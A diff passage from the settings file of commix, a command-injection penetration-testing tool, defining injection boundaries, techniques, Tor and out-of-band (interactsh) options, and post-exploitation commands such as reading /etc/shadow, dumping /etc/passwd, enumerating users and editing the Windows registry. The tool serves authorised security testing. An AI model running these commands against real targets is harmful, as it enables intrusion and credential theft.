prefix, so the first level asks five +prefix/suffix pairs where the cross-product would be nine - the count the reference asks at its own +first level. Levels two and three carry exactly what they carried before; the quotes moved down +rather than being added to theirs. +""" +PREFIXES = [] +PREFIXES_LVL1 = ["", "'", "\""] +PREFIXES_LVL2 = PREFIXES_LVL1 + SEPARATORS_LVL1 +PREFIXES_LVL3 = PREFIXES_LVL2 + +SUFFIXES = [] +SUFFIXES_LVL1 = ["", "'", "\""] +SUFFIXES_LVL2 = SUFFIXES_LVL1 + SEPARATORS_LVL1 +# A comment is what the shell in hand calls one. '//' and '\\' were added for the evaluation sinks +# back when those had no grammar of their own to carry them, and every grammar carries them now - +# PHP its '//' and '/*', JavaScript its '//', Lua its '--'. Left here they were asked of a shell +# that reads neither as an ending, once per separator on every parameter tested. +SUFFIXES_LVL3 = SUFFIXES_LVL2 + [" #"] + +# A quote closes only its own kind. +QUOTES = ("'", "\"") + +# The one of them a cmd.exe target cannot be handed: it closes the 'for /f' clause the command is +# written into rather than reaching the shell. +DOUBLE_QUOTE = QUOTES[1] + +# Boundary lists already put in the order a shape of value asks for, kept rather than sorted again. +BOUNDARY_ORDER_CACHE = {} +# Bad combination of prefix and separator +JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))] + +# Execution functions, and the boundaries that break into an evaluated string and close it again - +# all of them the language's own, and so read from its module rather than written out here. +EXECUTION_FUNCTIONS = [] +EXECUTION_FUNCTIONS_LVL1 = EVAL_GRAMMAR.EXECUTION_FUNCTIONS_LVL1 +EXECUTION_FUNCTIONS_LVL2 = EVAL_GRAMMAR.EXECUTION_FUNCTIONS_LVL2 +EXECUTION_FUNCTIONS_LVL3 = EVAL_GRAMMAR.EXECUTION_FUNCTIONS_LVL3 + +# The code injection separators. +EVAL_SEPARATORS = [] +EVAL_SEPARATORS_LVL1 = EVAL_GRAMMAR.SEPARATORS_LVL1 +EVAL_SEPARATORS_LVL2 = EVAL_GRAMMAR.SEPARATORS_LVL2 +EVAL_SEPARATORS_LVL3 = EVAL_GRAMMAR.SEPARATORS_LVL3 + +# The code injection prefixes. +EVAL_PREFIXES = [] +EVAL_PREFIXES_LVL1 = EVAL_GRAMMAR.PREFIXES_LVL1 +EVAL_PREFIXES_LVL2 = EVAL_GRAMMAR.PREFIXES_LVL2 +EVAL_PREFIXES_LVL3 = EVAL_GRAMMAR.PREFIXES_LVL3 + +# The code injection suffixes. +EVAL_SUFFIXES = [] +EVAL_SUFFIXES_LVL1 = EVAL_GRAMMAR.SUFFIXES_LVL1 +EVAL_SUFFIXES_LVL2 = EVAL_GRAMMAR.SUFFIXES_LVL2 +EVAL_SUFFIXES_LVL3 = EVAL_GRAMMAR.SUFFIXES_LVL3 + +# Raw payload (without tampering) +RAW_PAYLOAD = "" +# What each payload of record was rewritten into on its way out, kept so a finding is +# reported as the request that proved it rather than as a fresh rewrite of the same payload - +# a script drawing a name or a position at random does not draw the same one twice. +PAYLOADS_AS_SENT = {} +# How many it keeps before starting over - a run sends far more payloads than it reports on, +# and only the handful that proved something is ever looked up again. +MAX_PAYLOADS_AS_SENT = 2000 +# What a payload is glued between to reach the sink: the parameter's own value and the boundary's +# prefix in front of it, the boundary's suffix behind. A quote in there closes one the application +# itself opened and is answered by one the payload does not hold, so what sits between the two is +# the application's quoting rather than the payload's own - the opposite of a quoted literal. +PAYLOAD_EDGES = ("", "") +# Whether the trace has already said which technique an internal command is going out through. +# What that says is that such a command need not use the technique it is being run for, which is +# worth saying where it is first seen and is noise on every one after it. +TECHNIQUE_NAMED_IN_TRACE = False + +# Single whitespace SINGLE_WHITESPACE = " " +# The whitespace substitutes the target turns back into the one space they stood for before its +# shell ever reads them. Those are as good inside a quoted literal as outside it, having become +# that same one character by then - which is what none of the others ('${IFS}', a tab, a vertical +# tab, or any of these written more than once) does. +DECODED_WHITESPACES = ("%20", "+") + +# The default whitespace, as a space - encoded with the rest of the payload at the end. +WHITESPACES = [SINGLE_WHITESPACE] # Reference: http://www.w3.org/Protocols/HTTP/Object_Headers.html#uri URI_HTTP_HEADER = "URI" @@ -386,13 +1214,57 @@ def sys_argv_errors(): # Seconds to delay between each HTTP request. DELAY = 0 -# Seconds to delay the OS response. (Default 1) -TIMESEC = 1 +# Seconds to delay the OS response. +TIMESEC = 0 + +# Minimum safe delay. +MIN_SAFE_TIMESEC = 5 + +# Higher minimum delay applied once this run has confirmed the target is unstable. +MIN_SAFE_TIMESEC_UNSTABLE = 10 + +# Seconds to delay between each HTTP retry. +DELAY_RETRY = 1 + +# Max number of concurrent HTTP requests during data retrieval. +THREADS = 1 +MAX_THREADS = 10 +# Thread count '-o' raises to, unless '--threads' was given. +OPTIMIZE_THREADS = 3 +# Whether persistent (Keep-Alive) connections are in use. +KEEP_ALIVE = False +# Set when a time-related retrieval could not resolve every character of the output. +INCOMPLETE_OUTPUT = False +# Output length above which a time-related retrieval asks before spending a request per character. +LARGE_OUTPUT_THRESHOLD = 500 + +# Locks for shared state accessed by concurrent threads. +PRINT_LOCK = _threading.Lock() +REQUESTS_LOCK = _threading.Lock() + +# Whether the last stdout line is still open (progress refresh / spinner dot). +PROGRESS_LINE_OPEN = False + +# Whether the last stdout line is a progress line that closed itself with its own "(done)". It is +# finished, so nothing more is written onto it, but the cursor has already left it - which is the +# line a repeat of it overwrites. +PROGRESS_LINE_DONE = False + +# Dots written to the current spinner line, and where that line stops growing further ones. +# However many requests a step actually costs, the line itself stays one a terminal never wraps. +PROGRESS_DOT_COUNT = 0 +MAX_PROGRESS_DOTS = 40 -#Level (Default: 1) DEFAULT_INJECTION_LEVEL = 1 COOKIE_INJECTION_LEVEL = 2 HTTP_HEADER_INJECTION_LEVEL = 3 + +# Level of tests to perform. +# The higher the value is, the higher the number of HTTP(s) requests are. (Default: 1) +INJECTION_LEVEL = 0 +USER_APPLIED_LEVEL = False +USER_APPLIED_RETRIES = False +USER_APPLIED_TIMEOUT = False PERFORM_BASIC_SCANS = True # Default Temp Directory @@ -402,146 +1274,448 @@ def sys_argv_errors(): WEB_ROOT = "" DEFAULT_WEB_ROOT = "" CUSTOM_WEB_ROOT = False +CUSTOM_FILENAME = "" + +# Whether '--web-root' was explicitly supplied on the CLI +USER_APPLIED_WEB_ROOT = False +USER_APPLIED_INTERPRETER = False + +# Whether WEB_ROOT is only a guess (from the server's banner) rather than something actually +# confirmed - a guess is worth offering first, not worth skipping the directory-choice menu for, +# since it is wrong often enough that silently trusting it just delays finding that out. +WEB_ROOT_IS_GUESS = False + +# Runs one command through a technique already confirmed on this parameter, set once that happens and +# called only where the document root is actually needed - a root worked out from the target's own +# answer costs a request, and a run never reaching the file-based technique should not pay for it. +WEB_ROOT_PROBE = None +USER_APPLIED_TIMESEC = False +USER_APPLIED_TMP_PATH = False + +# Whether '--auth-cred'/'--auth-type' were explicitly supplied on the CLI +USER_APPLIED_COOKIE = "" +USER_APPLIED_DATA = "" +USER_APPLIED_AUTH_CRED = False +USER_APPLIED_AUTH_TYPE = False + +# Counting the total of HTTP(S) requests +TOTAL_OF_REQUESTS = 0 +# Log-file report state. +LOGGED_FINDINGS_HEADER = False +LAST_LOGGED_PARAMETER = None +# The accumulating --report-json data, built only when that option is set. +REPORT_JSON = None + +""" +What became of the run a JSON report belongs to, so that a reader can tell a scan still going, and +one cut short, from one that simply found nothing. +""" +REPORT_STARTED = "" + +""" +The reports of the targets a run has already finished with, so that a run over several of them +hands back all of them rather than whichever it happened to end on. +""" +REPORT_TARGETS = [] +REPORT_STATUS_RUNNING = "running" +REPORT_STATUS_COMPLETED = "completed" +REPORT_STATUS_TIME_LIMIT = "time-limit" +REPORT_STATUS_TERMINATED = "terminated" +REPORT_STATUS_FAILED = "failed" +LAST_LOG_GROUP = "header" -# Counting the total of HTTP(S) requests -TOTAL_OF_REQUESTS = 0 +# Said once per target, so a token carried on every request is not announced on every one of them. +JWT_CHECKED = False + +# Put where a token would be, to find out whether the target gates on one at all. Deliberately not a +# well-formed token - a token that is merely signed wrong is the thing being tested, not the ruler. +JWT_NON_TOKEN = "not-a-token" # The max help option length. MAX_OPTION_LENGTH = 18 +# The options '-h' lists, out of the whole set that '--hh' lists: what a first run is made of. +BASIC_HELP_ITEMS = ( + "url", "logfile", "bulkfile", "requestfile", "data", "cookie", "random_agent", "proxy", "tor", + "check_tor", "test_parameter", "level", "tech", "eval_sink", "os_cmd", "os_shell", "file_read", + "file_write", "batch", "flush_session", "wizard", "version", "verbose" +) + # Python version. PYTHON_VERSION = sys.version.split()[0] # Enumeration Commands # Output PowerShell's version number -PS_VERSION = "powershell.exe -InputFormat none write-host ([string]$(cmd /c powershell.exe -InputFormat none get-host)[3]).replace('Version','').replace(' ','').substring(1,3)" +PS_VERSION = "powershell.exe -NoProfile -InputFormat none write-host ($PSVersionTable.PSVersion.ToString(2))" # Current user CURRENT_USER = "whoami" -WIN_CURRENT_USER = "echo %username%" +WIN_CURRENT_USER = "echo %USERNAME%" # The hostname HOSTNAME = "hostname" -WIN_HOSTNAME = "echo %computername%" +WIN_HOSTNAME = "echo %COMPUTERNAME%" + +# The directory the script itself runs in - what the document root is worked back from +CURRENT_DIRECTORY = "pwd" +WIN_CURRENT_DIRECTORY = "echo %CD%" -# Check if current user is root +# Check if Current user is privileged +# Unix-like: root IS_ROOT = "echo $(id -u)" -# Check if current user is admin +# Windows: admin IS_ADMIN = "powershell.exe -InputFormat none [Security.Principal.WindowsBuiltinRole]::Administrator" # Operation System. RECOGNISE_OS = "uname -s" WIN_RECOGNISE_OS = "ver" -# Distribution Description / Release +# Distribution Description / Release DISTRO_INFO = "echo $(lsb_release -sir)" # Hardware platform. RECOGNISE_HP = "uname -m" WIN_RECOGNISE_HP = "echo %PROCESSOR_ARCHITECTURE%" +# What the target answered the hardware platform question with, kept as it came back. +TARGET_ARCH = "" + # File System access options # Read file FILE_READ = "cat " -WIN_FILE_READ = "type " +# Used by "download", so the file's exact bytes survive. +FILE_READ_B64 = "base64 <" +WIN_FILE_READ_B64 = "powershell.exe -c \"[Convert]::ToBase64String([IO.File]::ReadAllBytes('" +FILE_WRITE_OPERATOR = " >" +# What cmd.exe reads as its own escape character, and drops. +WIN_ESCAPE = "^" -# Write file -FILE_WRITE = "echo " +WIN_FILE_WRITE_OPERATOR = "powershell.exe Set-Content " +WIN_FILE_READ = "powershell.exe get-Content " + +# List file +FILE_LIST = "ls " +FILE_LIST_WIN = "powershell.exe Test-Path -Path " + +CERTUTIL_DECODE_CMD = "certutil -decode " # Write file -FILE_UPLOAD = "wget " +FILE_WRITE = "printf " # /etc/passwd PASSWD_FILE = "/etc/passwd" -SYS_USERS = "awk -F ':' '{print $1}{print $3}{print $6}' " + PASSWD_FILE -EVAL_SYS_USERS = "awk -F ':' '{print \$1}{print \$3}{print \$6}' " + PASSWD_FILE +SYS_USERS = "awk -F ':' '{print $1}{print $3}{print $6}' " + PASSWD_FILE # Exports users of localgroup -WIN_SYS_USERS = "powershell.exe -InputFormat none write-host (([string]$(net user)[4..($(net user).length-3)])" +WIN_SYS_USERS = "powershell.exe -InputFormat none write-host (([string]$(net user)[4..($(net user).length-3)]))" + +# What the target says instead of a list when the account running it may not ask for one. Seeing a +# built-in name is not the test - they can be renamed or removed - so this is what tells a refusal +# from a perfectly good enumeration of accounts we happen not to recognise. +WIN_ACCESS_DENIED = ["Access is denied", "System error 5", "not have permission", "Logon failure"] # /etc/shadow SHADOW_FILE = "/etc/shadow" -SYS_PASSES = FILE_READ + SHADOW_FILE +SYS_PASSES = FILE_READ + SHADOW_FILE + +WIN_REPLACE_WHITESPACE = r"-replace('\s+',' '))" + +# Windows registry access +WIN_REG_QUERY = "reg query " +WIN_REG_ADD = "reg add " +WIN_REG_DEL = "reg delete " +REG_ACCESS_DENIED = ["Access is denied", "ERROR: Access is denied", "requires elevation"] +# Listed the way the denied phrases above are, and without the "ERROR: " prefix or the full stop +# 'reg' writes around it, so the phrase is found in an answer a shell wrapped or truncated. +REG_VALUE_NOT_FOUND = ["The system was unable to find the specified registry key or value"] +REG_VALUE_TYPES = ("REG_SZ", "REG_EXPAND_SZ", "REG_DWORD", "REG_QWORD", "REG_BINARY", "REG_MULTI_SZ", "REG_NONE") # Accepts 'YES','YE','Y','yes','ye','y' CHOICE_YES = ['YES','YE','Y','yes','ye','y'] # Accepts 'NO','N','no','n' -CHOICE_NO = ['NO','N','no','n'] +CHOICE_NO = ['NO','no','N','n'] # Accepts 'QUIT','Q','quit','q' -CHOICE_QUIT = ['QUIT','Q','quit','q'] +CHOICE_QUIT = ['QUIT','quit','Q','q'] # Accepts 'W','w','U','u','Q','q' -CHOICE_OS = ['W','w','U','u','Q','q'] +CHOICE_OS = ['W','w','U','u','Q','q','N','n'] + +# Accepts 'C','c','S','s','Q','q','A','a' +CHOICE_PROCEED = ['C','c','S','s','Q','q','A','a'] + +# Remembers the answer to the "unexpected time delays" prompt. +UNSTABLE_REQUEST_CHOICE = None + +# Remembers the answer to the "'/bin/' path prefix" prompt. +USE_BIN_SUBDIR_CHOICE = None -# Accepts 'C','c','S','s','Q','q','a','A','n','N' -CHOICE_PROCEED = ['C','c','S','s','Q','q','a','A','n','N'] +# How many seconds "Continue" has already added to timesec, capped by MAX_UNSTABLE_TIMESEC_BUMP. +UNSTABLE_REQUEST_BUMPS = 0 + +# Maximum cumulative seconds "Continue" may add to timesec over the run. +MAX_UNSTABLE_TIMESEC_BUMP = 5 # Available alternative shells -AVAILABLE_SHELLS = ["python"] +AVAILABLE_INTERPRETERS = ["python"] + +""" +The short names a language is just as often written as, and what each one means. + +'--eval' and '--interpreter' both take a language, so both read the same table - naming one of them +'py' should not be an error where naming it 'python' is not. +""" +LANGUAGE_ALIASES = {"py": "python", "pl": "perl", "rb": "ruby", "js": "javascript", "ps": "powershell"} + +# The name a language was given by, resolved to the one commix knows it as. +def resolve_language(name): + if not name: + return name + name = str(name).strip().lower() + return LANGUAGE_ALIASES.get(name, name) + +# Available injection techniques. Out-of-band is not one of them - it is the '--oob' switch, so that +# it can serve the modules too, which never go through '--technique'. +AVAILABLE_TECHNIQUES = ['r','b','t','f'] +# What each one is called where a message names it. Keyed by the letters of the list above and read +# through that list, so a technique cannot be added there and left out of what a run says it did +# not test - which is how the boolean-based one came to be missing from that sentence. +TECHNIQUE_LETTER_NAMES = {'r': "results-based", 'b': "boolean-based", 't': "time-based", 'f': "file-based"} +# The letter that used to name the evaluation sink before '--eval' did, the technique that reaches +# that sink today, and the one whose technique carries whichever sink it is given. +EVAL_TECHNIQUE_LETTER = 'e' +EVAL_CAPABLE_TECHNIQUES = ('r', 'b', 't', 'f') +OOB_TECHNIQUE_LETTER = 'o' +# The languages the evaluation sink knows how to reach, and the word standing for all of them. +SUPPORTED_EVAL_LANGUAGES = _eval.supported() + +""" +Point the code injection grammar at one language, so that everything derived from it - the probe, +the boundaries, the functions that run a command - is that language's rather than the default's. +""" +LEVEL_SCOPED = ("SEPARATORS", "PREFIXES", "SUFFIXES", "EVAL_PREFIXES", "EVAL_SUFFIXES", + "EVAL_SEPARATORS", "EXECUTION_FUNCTIONS") -# Available injection techniques. -AVAILABLE_TECHNIQUES = [ "c", "e", "t", "f" ] +""" +Narrow the boundary lists to the level being tested, taking each from its own '_LVL<n>' source. +Called again whenever those sources change - pointing the grammar at another language rewrites them, +and the lists the payloads are actually built from are these, not the sources. +""" +def apply_injection_level(level=None): + suffix = {DEFAULT_INJECTION_LEVEL: "LVL1", COOKIE_INJECTION_LEVEL: "LVL2", + HTTP_HEADER_INJECTION_LEVEL: "LVL3"}.get(INJECTION_LEVEL if level is None else level) + if not suffix: + return False + for name in LEVEL_SCOPED: + source = globals()[name + "_" + suffix] + globals()[name] = sorted(set(source), key=source.index) + return True + +# Speak a different language: every payload is built from the grammar set here. +def set_eval_grammar(language): + global EVAL_GRAMMAR, EVAL_PROBE_PAYLOADS, EVAL_PROBE_REGEX, EVAL_WARNINGS + global EXECUTION_FUNCTIONS_LVL1, EXECUTION_FUNCTIONS_LVL2, EXECUTION_FUNCTIONS_LVL3 + global EVAL_SEPARATORS_LVL1, EVAL_SEPARATORS_LVL2, EVAL_SEPARATORS_LVL3 + global EVAL_PREFIXES_LVL1, EVAL_PREFIXES_LVL2, EVAL_PREFIXES_LVL3 + global EVAL_SUFFIXES_LVL1, EVAL_SUFFIXES_LVL2, EVAL_SUFFIXES_LVL3 + EVAL_GRAMMAR = _eval.grammar(language) + EVAL_PROBE_PAYLOADS = EVAL_GRAMMAR.PROBE_PAYLOADS + EVAL_PROBE_REGEX = EVAL_GRAMMAR.PROBE_REGEX + EVAL_WARNINGS = EVAL_GRAMMAR.WARNINGS + EXECUTION_FUNCTIONS_LVL1 = EVAL_GRAMMAR.EXECUTION_FUNCTIONS_LVL1 + EXECUTION_FUNCTIONS_LVL2 = EVAL_GRAMMAR.EXECUTION_FUNCTIONS_LVL2 + EXECUTION_FUNCTIONS_LVL3 = EVAL_GRAMMAR.EXECUTION_FUNCTIONS_LVL3 + EVAL_SEPARATORS_LVL1 = EVAL_GRAMMAR.SEPARATORS_LVL1 + EVAL_SEPARATORS_LVL2 = EVAL_GRAMMAR.SEPARATORS_LVL2 + EVAL_SEPARATORS_LVL3 = EVAL_GRAMMAR.SEPARATORS_LVL3 + EVAL_PREFIXES_LVL1 = EVAL_GRAMMAR.PREFIXES_LVL1 + EVAL_PREFIXES_LVL2 = EVAL_GRAMMAR.PREFIXES_LVL2 + EVAL_PREFIXES_LVL3 = EVAL_GRAMMAR.PREFIXES_LVL3 + EVAL_SUFFIXES_LVL1 = EVAL_GRAMMAR.SUFFIXES_LVL1 + EVAL_SUFFIXES_LVL2 = EVAL_GRAMMAR.SUFFIXES_LVL2 + EVAL_SUFFIXES_LVL3 = EVAL_GRAMMAR.SUFFIXES_LVL3 + # The lists the payloads are built from are narrowed from the sources just rewritten, so they are + # taken again - otherwise the language named on the command line never reaches a single payload. + apply_injection_level() +EVAL_ALL_LANGUAGES = 'all' +# Said once per run, however many parameters the heuristic sees an evaluation sink on. +EVAL_SUGGESTED = False +# The same, the other way round: said once however many parameters answer as a command shell +# while '--eval' has code injection named on the command line. +COMMAND_SUGGESTED = False + +# Supported injection types +class INJECTION_TYPE(object): + RESULTS_BASED_CI = "classic command injection" + RESULTS_BASED_CE = "classic code injection" + BLIND = "blind command injection" + BLIND_CE = "blind code injection" + +# The injection types that name a code-evaluation sink rather than a command one. What was found +# is recorded as a type, so a stored finding is read back through this rather than through the +# technique that found it - the same technique serves either sink. +EVAL_INJECTION_TYPES = (INJECTION_TYPE.RESULTS_BASED_CE, INJECTION_TYPE.BLIND_CE) + +# Spellings that older sessions hold, before the file-based technique was reported as blind. +LEGACY_INJECTION_TYPES = { + "semi-blind command injection" : INJECTION_TYPE.BLIND, + "semi-blind code injection" : INJECTION_TYPE.BLIND_CE, + "results-based command injection" : INJECTION_TYPE.RESULTS_BASED_CI, + "results-based code injection" : INJECTION_TYPE.RESULTS_BASED_CE +} + +# Supported injection techniques +class INJECTION_TECHNIQUE(object): + RESULTS_BASED = "results-based command injection technique" + DYNAMIC_CODE = "dynamic code evaluation technique" + BOOLEAN_BASED = "boolean-based command injection technique" + TIME_BASED = "time-based command injection technique" + FILE_BASED = "file-based injection technique" + TEMP_FILE_BASED = "tempfile-based injection technique" + OOB = "out-of-band command injection technique" + +# Canonical order techniques are tested and reported in. +TECHNIQUE_ORDER = [INJECTION_TECHNIQUE.RESULTS_BASED, INJECTION_TECHNIQUE.DYNAMIC_CODE, INJECTION_TECHNIQUE.BOOLEAN_BASED, INJECTION_TECHNIQUE.TIME_BASED, INJECTION_TECHNIQUE.FILE_BASED, INJECTION_TECHNIQUE.TEMP_FILE_BASED, INJECTION_TECHNIQUE.OOB] + +# The techniques each injection type is reached by - '--type' names the type, and the run tests +# every technique that shows a result that way. +AVAILABLE_TYPES = {"c" : "r", "b" : "btf"} + +# The technique letter follows the first letter of its name, so a renamed technique renames its +# letter with it - and a session written before the rename still has to find its way to the same one. +LEGACY_TECHNIQUE_NAMES = { + "classic command injection technique" : INJECTION_TECHNIQUE.RESULTS_BASED +} +LEGACY_TECHNIQUE_LETTERS = {"c" : "r"} + +USER_APPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False -# User Agent List -USER_AGENT_LIST = [ - # Opera - "Opera/8.0 (X11; Linux i686; U; en)", - "Opera/9.01 (X11; FreeBSD 6 i386; U; en)" - "Opera/8.51 (FreeBSD 5.1; U; en)", - "Opera/8.51 (Macintosh; PPC Mac OS X; U; de)", - "Opera/9.00 (Macintosh; PPC Mac OS X; U; es)", - "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02", - # Mozilla Firefox - "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20131331 Firefox/31.0", - "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 (.NET CLR 3.0.04506.31)", - "Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0", - "Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.31; .NET CLR 3.0.04506.648)", - "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko", - "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7", - "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0", - "Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.6) Gecko/20091216 Fedora/3.5.6-1.fc11 Firefox/3.5.6 GTB6", - "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090315 Firefox/3.1b3", - "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20131401 Firefox/31.0", - "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.34 (KHTML, like Gecko) Dooble/1.40 Safari/534.34", - # Oldies - "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0", - "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", - "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)", - "mozilla/3.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/5.0.1", -] +# Out-of-band (OAST) support. +OOB_PROVIDER_INTERACTSH = "interactsh" +OOB_INTERACTSH_DOMAIN = "oast.fun" +# The rest of ProjectDiscovery's own public interactsh pool, tried in turn where the default does +# not answer - never applied over '--oob-server', since a self-hosted one is not a pool to fall +# back out of. +OOB_INTERACTSH_FALLBACK_DOMAINS = ("oast.pro", "oast.live", "oast.site", "oast.online", "oast.me") +OOB_SERVER = "" +OOB_TOKEN = "" +OOB_TIMEOUT = 15 +OOB_POLL_INTERVAL = 5 +# How often a wait asks the server itself, instead of sitting out the interval above. An interaction +# is on the server long before the next poll would bring it in, and a wait is the part of a run that +# has something to wait for - so it asks harder than the idle poller does. +OOB_WAIT_POLL_INTERVAL = 2 +OOB_CHANNEL = None +OOB_TRANSPORT = "" +# The client the heuristic saw answer, tried first by the technique that follows it. +OOB_HEURISTIC_TRANSPORT = "" + +# How many times a command's output is asked for over a name lookup before giving up on it. +OOB_DNS_ATTEMPTS = 2 +# The HTTP clients the heuristic asked and never heard from, through a payload a name lookup proved +# had run. The sweep leaves those out and leads with the lookup instead of paying for them again. +OOB_HEURISTIC_HTTP_SILENT = [] +OOB_EVAL = False +# Payloads reach the server over the same scheme it is polled on, so that command output is not +# sent in the clear unless the user asked for a plain-HTTP server. +OOB_SCHEME = "https" +# The port the payload's URL carries, when the out-of-band server is not on the scheme's own one. +OOB_PORT = None +# An out-of-band payload never reads the response, so a target that takes too long to answer has +# not failed - the interaction arrives on its own. Set once the channel is up. +OOB_IGNORE_TIMEOUT = False +# Seconds to wait on a probe's response before moving on. Some clients block for tens of seconds +# ('certutil' well past a minute), which would make a sweep take hours for nothing. +OOB_PROBE_TIMEOUT = 5 +# Seconds the heuristic keeps waiting for an HTTP client once a name lookup has already answered, +# so the sweep is handed the client that can carry a command's output back whole. +OOB_HTTP_GRACE = 4 +# How many of a sweep's first combinations are polled for eagerly, instead of waiting out the +# interval. The likeliest boundary comes first, so this usually ends the sweep after a few probes. +OOB_EAGER_POLLS = 3 +# What the 'shellshock' module reports and stores its findings under, read back by the session the same way. +SHELLSHOCK_TECHNIQUE = "shellshock module" + +SHELLSHOCK_OOB = False + +# Set where the module is confirmed but the target hands nothing back, so the output is read off the +# page the way the boolean-based technique reads it - a false answer stops the script before it runs. +SHELLSHOCK_BOOLEAN = False + +# The tamper-count warning is per run, not per technique announcement. +TAMPER_WARNING_SHOWN = False -# Mobile User Agents -MOBILE_USER_AGENT_LIST = [ - "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+", - "Mozilla/5.0 (Linux; Android 7.0; SM-G931V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3171.125 Mobile Safari/537.36", - "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6310)", - "Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36", - "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1", - "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.14977", - "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19", - "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344", - "Mozilla/5.0 (Linux; Android 8.0.0; Pixel Build/OPR3.170623.013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; MI 3W Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1", -] +""" +The TLS context for target requests - a target's certificate is routinely self-signed or expired. +""" +def unverified_context(): + import ssl + context = ssl._create_unverified_context() + from src.core.requests import pki + return pki.apply_client_certificate(context) + +""" +The TLS context for commix's own infrastructure calls, which are verified. +""" +def verified_context(): + import os, ssl + context = ssl.create_default_context() + paths = ssl.get_default_verify_paths() + if not (paths.cafile or paths.capath): + for bundle in ("/etc/ssl/cert.pem", "/etc/ssl/certs/ca-certificates.crt", + "/etc/pki/tls/certs/ca-bundle.crt", "/usr/local/etc/openssl/cert.pem"): + if os.path.exists(bundle): + return ssl.create_default_context(cafile=bundle) + return context + +# Raised by checks.handle_detection_interrupt() to unwind to the right point +# in the detection loop. +class SkipTechniqueException(Exception): + pass + +class EndDetectionPhaseException(Exception): + pass + +class NextParameterException(Exception): + pass + +class NextTargetException(Exception): + pass + +# Raised after a verbosity change mid-detection, to redo the current technique from the top. +class RetryTechniqueException(Exception): + pass # Default Scheme SCHEME = "" -# Privoxy Proxy -PRIVOXY_IP = "127.0.0.1" -PRIVOXY_PORT = "8118" +# TOR HTTP Proxy +TOR_HTTP_PROXY_IP = "127.0.0.1" +TOR_HTTP_PROXY_PORT = "8118" +# Answered as JSON, so that what is read back is a stated fact rather than a phrase on a page. +CHECK_TOR_API_PAGE = "https://check.torproject.org/api/ip" + +# The proxy types '--tor-type' accepts, and the ports each one is looked for on. +class PROXY_TYPE(object): + HTTP = "HTTP" + SOCKS4 = "SOCKS4" + SOCKS5 = "SOCKS5" + +TOR_TYPES = (PROXY_TYPE.HTTP, PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5) +# SOCKS is what the Tor service itself listens as, so it is what a default run asks for - an HTTP +# proxy in front of Tor (e.g. Privoxy) is a second piece of software, and its own thing to get wrong. +DEFAULT_TOR_TYPE = PROXY_TYPE.SOCKS5 +DEFAULT_TOR_SOCKS_PORTS = (9050, 9150) +DEFAULT_TOR_HTTP_PORTS = (8123, 8118) # Cookie injection -COOKIE_INJECTION = False +COOKIE_INJECTION = None +HTTP_HEADERS_INJECTION = None # User-Agent injection USER_AGENT_INJECTION = None @@ -553,10 +1727,10 @@ def sys_argv_errors(): # Custom HTTP Headers injection CUSTOM_HEADER_INJECTION = False -CUSTOM_HEADER_NAME = "" - -# Valid URL format check -VALID_URL_FORMAT = 